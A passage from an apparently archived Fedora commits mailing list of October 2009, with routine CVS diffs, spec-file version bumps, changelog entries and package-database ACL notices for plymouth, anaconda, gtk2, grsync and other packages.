 1 files changed, 2 insertions(+), 25 deletions(-)

diff --git a/src/plugins/splash/text/plugin.c b/src/plugins/splash/text/plugin.c
index 6ca7ee1..bb09b22 100644
--- a/src/plugins/splash/text/plugin.c
+++ b/src/plugins/splash/text/plugin.c
@@ -464,37 +464,14 @@ stop_animation (ply_boot_splash_plugin_t *plugin)
 }
 
 static void
-clear_views (ply_boot_splash_plugin_t *plugin)
-{
-  ply_list_node_t *node;
-
-  assert (plugin != NULL);
-  assert (plugin->loop != NULL);
-
-  node = ply_list_get_first_node (plugin->views);
-  while (node != NULL)
-    {
-      ply_list_node_t *next_node;
-      view_t *view;
-
-      view = ply_list_node_get_data (node);
-      next_node = ply_list_get_next_node (plugin->views, node);
-
-      ply_text_display_clear_screen (view->display);
-
-      node = next_node;
-    }
-}
-
-static void
-on_draw (ply_boot_splash_plugin_t *plugin,
+on_draw (view_t                   *view,
          ply_terminal_t           *terminal,
          int                       x,
          int                       y,
          int                       width,
          int                       height)
 {
-  clear_views (plugin);
+  ply_text_display_clear_screen (view->display);
 }
 
 static void
-- 
1.6.5.rc2



Index: plymouth.spec
===================================================================
RCS file: /cvs/pkgs/rpms/plymouth/F-12/plymouth.spec,v
retrieving revision 1.149
retrieving revision 1.150
diff -u -p -r1.149 -r1.150
--- plymouth.spec	5 Oct 2009 20:57:55 -0000	1.149
+++ plymouth.spec	5 Oct 2009 21:43:30 -0000	1.150
@@ -5,7 +5,7 @@
 Summary: Graphical Boot Animation and Logger
 Name: plymouth
 Version: 0.8.0
-Release: 0.2009.29.09.2%{?dist}
+Release: 0.2009.29.09.3%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source0: http://freedesktop.org/software/plymouth/releases/%{name}-%{version}.tar.bz2
@@ -29,6 +29,9 @@ Obsoletes: plymouth-text-and-details-onl
 Obsoletes: plymouth-plugin-pulser < 0.7.0-0.2009.05.08.2
 Obsoletes: plymouth-theme-pulser < 0.7.0-0.2009.05.08.2
 
+Patch0: fix-2nd-show-splash.patch
+Patch1: fix-text-password-crash.patch
+
 %description
 Plymouth provides an attractive graphical boot animation in
 place of the text messages that normally get shown.  Text
@@ -235,6 +238,9 @@ plugin.
 %prep
 %setup -q
 
+%patch0 -p1 -b .fix-2nd-show-splash
+%patch1 -p1 -b .fix-text-password-crash
+
 %build
 %configure --enable-tracing --disable-tests --without-boot-entry \
            --without-default-plugin                              \
@@ -451,6 +457,10 @@ fi
 %defattr(-, root, root)
 
 %changelog
+* Mon Oct 05 2009 Ray Strode <rstrode at redhat.com> 0.8.0-0.2009.29.09.3
+- Fix crasher in text plugin after password prompt (bug 526652)
+- Actually apply the patch mentioned in 2009.29.09.2
+
 * Mon Oct  5 2009 Ray Strode <rstrode at redhat.com> 0.8.0-0.2009.29.09.2
 - Fix --show-splash after --hide-splash (bug 527299)
 
@@ -647,8 +657,6 @@ fi
 - Update prompt text colors to be legible on new artwork
 
 * Thu Oct 30 2008 Ray Strode <rstrode at redhat.com> 0.6.0-0.2008.10.30.1
-- Drop upstreamed patches
-- Patch from Charlie to update artwork
 - Patch from Charlie to make password screen match animation better
   (bug 468899)
 



From airlied at fedoraproject.org  Mon Oct  5 21:48:03 2009
From: airlied at fedoraproject.org (Dave Airlie)
Date: Mon,  5 Oct 2009 21:48:03 +0000 (UTC)
Subject: rpms/xorg-x11-drv-ati/F-12 .cvsignore, 1.32, 1.33 sources, 1.32,
	1.33 xorg-x11-drv-ati.spec, 1.188, 1.189
Message-ID: <20091005214803.4D5EE11C00DB@cvs1.fedora.phx.redhat.com>

Author: airlied

Update of /cvs/pkgs/rpms/xorg-x11-drv-ati/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22816

Modified Files:
	.cvsignore sources xorg-x11-drv-ati.spec 
Log Message:
* Tue Oct 06 2009 Dave Airlie <airlied at redhat.com> 6.13.0-0.7.20091006git457646d73
- resnapshot with VT switch fixes and mixed issue was in server which is fixed



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-ati/F-12/.cvsignore,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- .cvsignore	29 Sep 2009 03:26:30 -0000	1.32
+++ .cvsignore	5 Oct 2009 21:48:03 -0000	1.33
@@ -1 +1 @@
-xf86-video-ati-20090929.tar.xz
+xf86-video-ati-20091006.tar.xz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-ati/F-12/sources,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- sources	29 Sep 2009 03:26:31 -0000	1.32
+++ sources	5 Oct 2009 21:48:03 -0000	1.33
@@ -1 +1 @@
-55a7141d73902a4d35837f4c59f4e6de  xf86-video-ati-20090929.tar.xz
+9636d8983c9ec20bd08633ef8751320b  xf86-video-ati-20091006.tar.xz


Index: xorg-x11-drv-ati.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-ati/F-12/xorg-x11-drv-ati.spec,v
retrieving revision 1.188
retrieving revision 1.189
diff -u -p -r1.188 -r1.189
--- xorg-x11-drv-ati.spec	30 Sep 2009 00:54:01 -0000	1.188
+++ xorg-x11-drv-ati.spec	5 Oct 2009 21:48:03 -0000	1.189
@@ -1,13 +1,13 @@
 %define tarball xf86-video-ati
 %define moduledir %(pkg-config xorg-server --variable=moduledir )
 %define driverdir	%{moduledir}/drivers
-%define gitdate 20090929
-%define gitversion 7968e1fb8
+%define gitdate 20091006
+%define gitversion 457646d73
 
 Summary:   Xorg X11 ati video driver
 Name:      xorg-x11-drv-ati
 Version:   6.13.0
-Release:   0.6.%{gitdate}git%{gitversion}%{?dist}
+Release:   0.7.%{gitdate}git%{gitversion}%{?dist}
 URL:       http://www.x.org
 License:   MIT
 Group:     User Interface/X Hardware Support
@@ -48,7 +48,7 @@ X.Org X11 ati video driver.
 %patch6 -p1 -b .bgnr
 %patch10 -p1 -b .lvds
 %patch13 -p1 -b .def
-#%patch14 -p1 -b .mix
+%patch14 -p1 -b .mix
 
 %build
 autoreconf -iv
@@ -82,6 +82,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man4/radeon.4*
 
 %changelog
+* Tue Oct 06 2009 Dave Airlie <airlied at redhat.com> 6.13.0-0.7.20091006git457646d73
+- resnapshot with VT switch fixes and mixed issue was in server which is fixed
+
 * Wed Sep 30 2009 Dave Airlie <airlied at redhat.com> 6.13.0-0.6.20090929git7968e1fb8
 - mixed appears to break r600 for some reason need to investigate disable for
   beta



From giallu at fedoraproject.org  Mon Oct  5 21:52:04 2009
From: giallu at fedoraproject.org (Gianluca Sforna)
Date: Mon,  5 Oct 2009 21:52:04 +0000 (UTC)
Subject: comps comps-f11.xml.in, 1.304, 1.305 comps-f12.xml.in, 1.146,
	1.147 comps-f13.xml.in, 1.33, 1.34
Message-ID: <20091005215204.106AF11C00DB@cvs1.fedora.phx.redhat.com>

Author: giallu

Update of /cvs/extras/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23561

Modified Files:
	comps-f11.xml.in comps-f12.xml.in comps-f13.xml.in 
Log Message:
Replace gsynaptics with gpointing-device-settings



Index: comps-f11.xml.in
===================================================================
RCS file: /cvs/extras/comps/comps-f11.xml.in,v
retrieving revision 1.304
retrieving revision 1.305
diff -u -p -r1.304 -r1.305
--- comps-f11.xml.in	4 Oct 2009 04:33:14 -0000	1.304
+++ comps-f11.xml.in	5 Oct 2009 21:52:03 -0000	1.305
@@ -25,7 +25,7 @@
       <packagereq type="optional">ettercap-gtk</packagereq>
       <packagereq type="optional">galternatives</packagereq>
       <packagereq type="optional">gparted</packagereq>
-      <packagereq type="optional">gsynaptics</packagereq>
+      <packagereq type="optional">gpointing-device-settings</packagereq>
       <packagereq type="optional">kpackagekit</packagereq>
       <packagereq type="optional">lat</packagereq>
       <packagereq type="optional">lshw-gui</packagereq>


Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/extras/comps/comps-f12.xml.in,v
retrieving revision 1.146
retrieving revision 1.147
diff -u -p -r1.146 -r1.147
--- comps-f12.xml.in	5 Oct 2009 19:28:54 -0000	1.146
+++ comps-f12.xml.in	5 Oct 2009 21:52:03 -0000	1.147
@@ -24,7 +24,7 @@
       <packagereq type="optional">ettercap-gtk</packagereq>
       <packagereq type="optional">galternatives</packagereq>
       <packagereq type="optional">gparted</packagereq>
-      <packagereq type="optional">gsynaptics</packagereq>
+      <packagereq type="optional">gpointing-device-settings</packagereq>
       <packagereq type="optional">kpackagekit</packagereq>
       <packagereq type="optional">lat</packagereq>
       <packagereq type="optional">lshw-gui</packagereq>


Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/extras/comps/comps-f13.xml.in,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- comps-f13.xml.in	2 Oct 2009 15:02:30 -0000	1.33
+++ comps-f13.xml.in	5 Oct 2009 21:52:03 -0000	1.34
@@ -24,7 +24,7 @@
       <packagereq type="optional">ettercap-gtk</packagereq>
       <packagereq type="optional">galternatives</packagereq>
       <packagereq type="optional">gparted</packagereq>
-      <packagereq type="optional">gsynaptics</packagereq>
+      <packagereq type="optional">gpointing-device-settings</packagereq>
       <packagereq type="optional">kpackagekit</packagereq>
       <packagereq type="optional">lat</packagereq>
       <packagereq type="optional">lshw-gui</packagereq>
@@ -3628,7 +3628,7 @@
       <packagereq type="default">ksshaskpass</packagereq>
       <packagereq type="default">ktorrent</packagereq>
       <packagereq type="default">NetworkManager-gnome</packagereq>
-      <packagereq type="default">phonon-backend-gstreamer</packagreq>
+      <packagereq type="default">phonon-backend-gstreamer</packagereq>
       <packagereq type="default">phonon-backend-xine</packagereq>
       <packagereq type="default">pinentry-qt</packagereq>
       <packagereq type="default">scribus</packagereq>



From dcantrel at fedoraproject.org  Mon Oct  5 21:58:00 2009
From: dcantrel at fedoraproject.org (David Cantrell)
Date: Mon,  5 Oct 2009 21:58:00 +0000 (UTC)
Subject: rpms/anaconda/F-12 .cvsignore, 1.674, 1.675 anaconda.spec, 1.824,
	1.825 sources, 1.808, 1.809
Message-ID: <20091005215800.E74BF11C00DB@cvs1.fedora.phx.redhat.com>

Author: dcantrel

Update of /cvs/pkgs/rpms/anaconda/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25738

Modified Files:
	.cvsignore anaconda.spec sources 
Log Message:
* Mon Oct 05 2009 David Cantrell <dcantrell at redhat.com> - 12.33-1
- Remove an errant popd. Probably cut/paste error. (jkeating)
- Only add the .img file to .treeinfo if it exists. (jkeating)
- Make the netboot dir before trying to use it (jkeating)
- Fix existing size calculation for NTFS (#520627) (dcantrell)
- Write label to filesystem if we have one set (#526226, #526242) (dcantrell)
- Add wget to the initrd, which is required for rhts. (clumens)
- Fix the check for no /boot request on PPC yet again (#526843). (clumens)
- Surround the stage2= parameter in quotes for RHEL (#526863). (clumens)
- Stop dragging mkinitrd into the install (hdegoede)
- Force interface up before checking link status (#525071). (dcantrell)
- Don't try to do format handling on drives without media (#523467)
  (hdegoede)
- Wait for mdraid arrays to become clean before reboot / halt (hdegoede)
- Stop /lib/udev/rules.d/65-md-incremental.rules from messing with mdraid
  sets (hdegoede)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/F-12/.cvsignore,v
retrieving revision 1.674
retrieving revision 1.675
diff -u -p -r1.674 -r1.675
--- .cvsignore	30 Sep 2009 01:31:27 -0000	1.674
+++ .cvsignore	5 Oct 2009 21:58:00 -0000	1.675
@@ -1 +1 @@
-anaconda-12.32.tar.bz2
+anaconda-12.33.tar.bz2


Index: anaconda.spec
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/F-12/anaconda.spec,v
retrieving revision 1.824
retrieving revision 1.825
diff -u -p -r1.824 -r1.825
--- anaconda.spec	30 Sep 2009 01:31:27 -0000	1.824
+++ anaconda.spec	5 Oct 2009 21:58:00 -0000	1.825
@@ -3,7 +3,7 @@
 
 Summary: Graphical system installer
 Name:    anaconda
-Version: 12.32
+Version: 12.33
 Release: 1%{?dist}
 License: GPLv2+
 Group:   Applications/System
@@ -215,6 +215,23 @@ update-desktop-database &> /dev/null || 
 %endif
 
 %changelog
+* Mon Oct 05 2009 David Cantrell <dcantrell at redhat.com> - 12.33-1
+- Remove an errant popd. Probably cut/paste error. (jkeating)
+- Only add the .img file to .treeinfo if it exists. (jkeating)
+- Make the netboot dir before trying to use it (jkeating)
+- Fix existing size calculation for NTFS (#520627) (dcantrell)
+- Write label to filesystem if we have one set (#526226, #526242) (dcantrell)
+- Add wget to the initrd, which is required for rhts. (clumens)
+- Fix the check for no /boot request on PPC yet again (#526843). (clumens)
+- Surround the stage2= parameter in quotes for RHEL (#526863). (clumens)
+- Stop dragging mkinitrd into the install (hdegoede)
+- Force interface up before checking link status (#525071). (dcantrell)
+- Don't try to do format handling on drives without media (#523467)
+  (hdegoede)
+- Wait for mdraid arrays to become clean before reboot / halt (hdegoede)
+- Stop /lib/udev/rules.d/65-md-incremental.rules from messing with mdraid
+  sets (hdegoede)
+
 * Tue Sep 29 2009 David Cantrell <dcantrell at redhat.com> - 12.32-1
 - Improve loader messages in parseCmdLineFlags when passing vnc (#526350).
   (maier)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/F-12/sources,v
retrieving revision 1.808
retrieving revision 1.809
diff -u -p -r1.808 -r1.809
--- sources	30 Sep 2009 01:31:27 -0000	1.808
+++ sources	5 Oct 2009 21:58:00 -0000	1.809
@@ -1 +1 @@
-243e5017608dcd9ef0798925e1a2a0e3  anaconda-12.32.tar.bz2
+a2e34a6d922ca04ddecb053091455cb6  anaconda-12.33.tar.bz2



From kkofler at fedoraproject.org  Mon Oct  5 21:59:42 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Mon,  5 Oct 2009 21:59:42 +0000 (UTC)
Subject: rpms/kdeplasma-addons/devel kdeplasma-addons.spec,1.62,1.63
Message-ID: <20091005215942.F088D11C00DB@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/kdeplasma-addons/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26247/devel

Modified Files:
	kdeplasma-addons.spec 
Log Message:
Fix changelog.


Index: kdeplasma-addons.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdeplasma-addons/devel/kdeplasma-addons.spec,v
retrieving revision 1.62
retrieving revision 1.63
diff -u -p -r1.62 -r1.63
--- kdeplasma-addons.spec	5 Oct 2009 15:04:15 -0000	1.62
+++ kdeplasma-addons.spec	5 Oct 2009 21:59:42 -0000	1.63
@@ -165,7 +165,7 @@ rm -rf %{buildroot}
 
 
 %changelog
-* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.1-3
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 
 * Sat Oct 03 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.1-3



From mclasen at fedoraproject.org  Mon Oct  5 22:09:18 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Mon,  5 Oct 2009 22:09:18 +0000 (UTC)
Subject: rpms/gtk2/F-12 .cvsignore, 1.118, 1.119 gtk2.spec, 1.408,
	1.409 sources, 1.127, 1.128
Message-ID: <20091005220918.4D46211C00DB@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gtk2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29877

Modified Files:
	.cvsignore gtk2.spec sources 
Log Message:
2.18.2



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2/F-12/.cvsignore,v
retrieving revision 1.118
retrieving revision 1.119
diff -u -p -r1.118 -r1.119
--- .cvsignore	30 Sep 2009 23:23:37 -0000	1.118
+++ .cvsignore	5 Oct 2009 22:09:17 -0000	1.119
@@ -1 +1 @@
-gtk+-2.18.1.tar.bz2
+gtk+-2.18.2.tar.bz2


Index: gtk2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2/F-12/gtk2.spec,v
retrieving revision 1.408
retrieving revision 1.409
diff -u -p -r1.408 -r1.409
--- gtk2.spec	30 Sep 2009 23:23:37 -0000	1.408
+++ gtk2.spec	5 Oct 2009 22:09:18 -0000	1.409
@@ -11,7 +11,7 @@
 %define libpng_version 2:1.2.2-16
 %define xrandr_version 1.2.99.4-2
 
-%define base_version 2.18.1
+%define base_version 2.18.2
 %define bin_version 2.10.0
 
 Summary: The GIMP ToolKit (GTK+), a library for creating GUIs for X
@@ -374,6 +374,9 @@ fi
 
 
 %changelog
+* Mon Oct  5 2009 Matthias Clasen <mclasen at redhat.com> - 2.18.2-1
+- Update to 2.18.2
+
 * Wed Sep 30 2009 Matthias Clasen <mclasen at redhat.com> - 2.18.1-1
 - Update to 2.18.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2/F-12/sources,v
retrieving revision 1.127
retrieving revision 1.128
diff -u -p -r1.127 -r1.128
--- sources	30 Sep 2009 23:23:37 -0000	1.127
+++ sources	5 Oct 2009 22:09:18 -0000	1.128
@@ -1 +1 @@
-d6e0f982a84d393cd11e2ea90a9e3775  gtk+-2.18.1.tar.bz2
+9477986b58d7ee5e559b96e7a124bead  gtk+-2.18.2.tar.bz2



From pkgdb at fedoraproject.org  Mon Oct  5 22:17:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 22:17:30 +0000
Subject: [pkgdb] perl-XML-TreeBuilder had acl change status
Message-ID: <20091005221731.99EFA10F895@bastion2.fedora.phx.redhat.com>

jfearn has set the watchcommits acl on perl-XML-TreeBuilder (Fedora devel) to Approved for mdious

To make changes to this package see:
  /pkgdb/packages/name/perl-XML-TreeBuilder



From pkgdb at fedoraproject.org  Mon Oct  5 22:17:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 22:17:29 +0000
Subject: [pkgdb] perl-XML-TreeBuilder had acl change status
Message-ID: <20091005221729.EB38A10F88F@bastion2.fedora.phx.redhat.com>

jfearn has set the watchbugzilla acl on perl-XML-TreeBuilder (Fedora devel) to Approved for mdious

To make changes to this package see:
  /pkgdb/packages/name/perl-XML-TreeBuilder



From pkgdb at fedoraproject.org  Mon Oct  5 22:17:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 22:17:50 +0000
Subject: [pkgdb] perl-XML-TreeBuilder had acl change status
Message-ID: <20091005221750.6CF1C10F88F@bastion2.fedora.phx.redhat.com>

jfearn has set the approveacls acl on perl-XML-TreeBuilder (Fedora devel) to Denied for mdious

To make changes to this package see:
  /pkgdb/packages/name/perl-XML-TreeBuilder



From pkgdb at fedoraproject.org  Mon Oct  5 22:17:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 22:17:59 +0000
Subject: [pkgdb] perl-XML-TreeBuilder had acl change status
Message-ID: <20091005221759.5E38110F89C@bastion2.fedora.phx.redhat.com>

jfearn has set the approveacls acl on perl-XML-TreeBuilder (Fedora devel) to Obsolete for mdious

To make changes to this package see:
  /pkgdb/packages/name/perl-XML-TreeBuilder



From pkgdb at fedoraproject.org  Mon Oct  5 22:18:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 22:18:21 +0000
Subject: [pkgdb] perl-XML-TreeBuilder had acl change status
Message-ID: <20091005221821.5A9A010F88E@bastion2.fedora.phx.redhat.com>

jfearn has set the watchbugzilla acl on perl-XML-TreeBuilder (Fedora 9) to Approved for mdious

To make changes to this package see:
  /pkgdb/packages/name/perl-XML-TreeBuilder



From pkgdb at fedoraproject.org  Mon Oct  5 22:18:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 22:18:22 +0000
Subject: [pkgdb] perl-XML-TreeBuilder had acl change status
Message-ID: <20091005221822.51B8A10F895@bastion2.fedora.phx.redhat.com>

jfearn has set the watchcommits acl on perl-XML-TreeBuilder (Fedora 9) to Approved for mdious

To make changes to this package see:
  /pkgdb/packages/name/perl-XML-TreeBuilder



From pkgdb at fedoraproject.org  Mon Oct  5 22:18:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 22:18:24 +0000
Subject: [pkgdb] perl-XML-TreeBuilder had acl change status
Message-ID: <20091005221824.9344710F8A8@bastion2.fedora.phx.redhat.com>

jfearn has set the watchbugzilla acl on perl-XML-TreeBuilder (Fedora 10) to Approved for mdious

To make changes to this package see:
  /pkgdb/packages/name/perl-XML-TreeBuilder



From pkgdb at fedoraproject.org  Mon Oct  5 22:18:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 22:18:24 +0000
Subject: [pkgdb] perl-XML-TreeBuilder had acl change status
Message-ID: <20091005221824.41A4210F8A2@bastion2.fedora.phx.redhat.com>

jfearn has set the watchcommits acl on perl-XML-TreeBuilder (Fedora 10) to Approved for mdious

To make changes to this package see:
  /pkgdb/packages/name/perl-XML-TreeBuilder



From pkgdb at fedoraproject.org  Mon Oct  5 22:18:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 22:18:26 +0000
Subject: [pkgdb] perl-XML-TreeBuilder had acl change status
Message-ID: <20091005221826.9CFA210F8A9@bastion2.fedora.phx.redhat.com>

jfearn has set the watchbugzilla acl on perl-XML-TreeBuilder (Fedora 11) to Approved for mdious

To make changes to this package see:
  /pkgdb/packages/name/perl-XML-TreeBuilder



From pkgdb at fedoraproject.org  Mon Oct  5 22:18:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 22:18:27 +0000
Subject: [pkgdb] perl-XML-TreeBuilder had acl change status
Message-ID: <20091005221827.7A8F410F8AF@bastion2.fedora.phx.redhat.com>

jfearn has set the watchcommits acl on perl-XML-TreeBuilder (Fedora 11) to Approved for mdious

To make changes to this package see:
  /pkgdb/packages/name/perl-XML-TreeBuilder



From pkgdb at fedoraproject.org  Mon Oct  5 22:18:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 22:18:29 +0000
Subject: [pkgdb] perl-XML-TreeBuilder had acl change status
Message-ID: <20091005221829.D723210F894@bastion2.fedora.phx.redhat.com>

jfearn has set the watchbugzilla acl on perl-XML-TreeBuilder (Fedora 12) to Approved for mdious

To make changes to this package see:
  /pkgdb/packages/name/perl-XML-TreeBuilder



From pkgdb at fedoraproject.org  Mon Oct  5 22:18:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 22:18:30 +0000
Subject: [pkgdb] perl-XML-TreeBuilder had acl change status
Message-ID: <20091005221830.D6B7510F8B2@bastion2.fedora.phx.redhat.com>

jfearn has set the watchcommits acl on perl-XML-TreeBuilder (Fedora 12) to Approved for mdious

To make changes to this package see:
  /pkgdb/packages/name/perl-XML-TreeBuilder



From cwickert at fedoraproject.org  Mon Oct  5 22:23:16 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Mon,  5 Oct 2009 22:23:16 +0000 (UTC)
Subject: rpms/grsync/F-11 .cvsignore, 1.7, 1.8 grsync.spec, 1.10,
	1.11 sources, 1.7, 1.8
Message-ID: <20091005222316.663B411C0299@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/grsync/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv698/F-11

Modified Files:
	.cvsignore grsync.spec sources 
Log Message:
* Mon Oct 05 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.9.2-1
- new upstream release (fixes #524169)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/grsync/F-11/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	1 Jul 2009 13:14:50 -0000	1.7
+++ .cvsignore	5 Oct 2009 22:23:16 -0000	1.8
@@ -1 +1 @@
-grsync-0.9.1.tar.gz
+grsync-0.9.2.tar.gz


Index: grsync.spec
===================================================================
RCS file: /cvs/pkgs/rpms/grsync/F-11/grsync.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- grsync.spec	1 Jul 2009 13:14:50 -0000	1.10
+++ grsync.spec	5 Oct 2009 22:23:16 -0000	1.11
@@ -1,5 +1,5 @@
 Name:           grsync
-Version:        0.9.1
+Version:        0.9.2
 Release:        1%{?dist}
 Summary:        A Gtk+ GUI for rsync
 
@@ -36,7 +36,8 @@ make %{?_smp_mflags}
 rm -rf $RPM_BUILD_ROOT
 make install DESTDIR=$RPM_BUILD_ROOT
 
-desktop-file-install --vendor=""                                 \
+desktop-file-install                                             \
+        --add-category=GTK                                       \
         --dir=%{buildroot}%{_datadir}/applications/              \
         %{buildroot}/%{_datadir}/applications/%{name}.desktop
 
@@ -57,6 +58,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 05 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.9.2-1
+- new upstream release (fixes #524169)
+
 * Wed Jul 01 2009 Sebastian Vahl <fedora at deadbabylon.de> - 0.9.1-1
 - new upstream release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/grsync/F-11/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	1 Jul 2009 13:14:50 -0000	1.7
+++ sources	5 Oct 2009 22:23:16 -0000	1.8
@@ -1 +1 @@
-4425e1092d12ddbba7176265e4a2150d  grsync-0.9.1.tar.gz
+b605c920f5b52e8783df2803efe8a03d  grsync-0.9.2.tar.gz



From cwickert at fedoraproject.org  Mon Oct  5 22:23:16 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Mon,  5 Oct 2009 22:23:16 +0000 (UTC)
Subject: rpms/grsync/devel .cvsignore, 1.7, 1.8 grsync.spec, 1.11,
	1.12 sources, 1.7, 1.8
Message-ID: <20091005222316.5F75311C00DB@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/grsync/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv698/devel

Modified Files:
	.cvsignore grsync.spec sources 
Log Message:
* Mon Oct 05 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.9.2-1
- new upstream release (fixes #524169)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/grsync/devel/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	1 Jul 2009 13:14:50 -0000	1.7
+++ .cvsignore	5 Oct 2009 22:23:15 -0000	1.8
@@ -1 +1 @@
-grsync-0.9.1.tar.gz
+grsync-0.9.2.tar.gz


Index: grsync.spec
===================================================================
RCS file: /cvs/pkgs/rpms/grsync/devel/grsync.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- grsync.spec	25 Jul 2009 01:31:00 -0000	1.11
+++ grsync.spec	5 Oct 2009 22:23:15 -0000	1.12
@@ -1,6 +1,6 @@
 Name:           grsync
-Version:        0.9.1
-Release:        2%{?dist}
+Version:        0.9.2
+Release:        1%{?dist}
 Summary:        A Gtk+ GUI for rsync
 
 Group:          User Interface/Desktops
@@ -36,7 +36,8 @@ make %{?_smp_mflags}
 rm -rf $RPM_BUILD_ROOT
 make install DESTDIR=$RPM_BUILD_ROOT
 
-desktop-file-install --vendor=""                                 \
+desktop-file-install                                             \
+        --add-category=GTK                                       \
         --dir=%{buildroot}%{_datadir}/applications/              \
         %{buildroot}/%{_datadir}/applications/%{name}.desktop
 
@@ -57,6 +58,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 05 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.9.2-1
+- new upstream release (fixes #524169)
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.1-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/grsync/devel/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	1 Jul 2009 13:14:50 -0000	1.7
+++ sources	5 Oct 2009 22:23:15 -0000	1.8
@@ -1 +1 @@
-4425e1092d12ddbba7176265e4a2150d  grsync-0.9.1.tar.gz
+b605c920f5b52e8783df2803efe8a03d  grsync-0.9.2.tar.gz



From cwickert at fedoraproject.org  Mon Oct  5 22:23:16 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Mon,  5 Oct 2009 22:23:16 +0000 (UTC)
Subject: rpms/grsync/F-12 .cvsignore, 1.7, 1.8 grsync.spec, 1.11,
	1.12 sources, 1.7, 1.8
Message-ID: <20091005222316.6543C11C00EB@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/grsync/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv698/F-12

Modified Files:
	.cvsignore grsync.spec sources 
Log Message:
* Mon Oct 05 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.9.2-1
- new upstream release (fixes #524169)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/grsync/F-12/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	1 Jul 2009 13:14:50 -0000	1.7
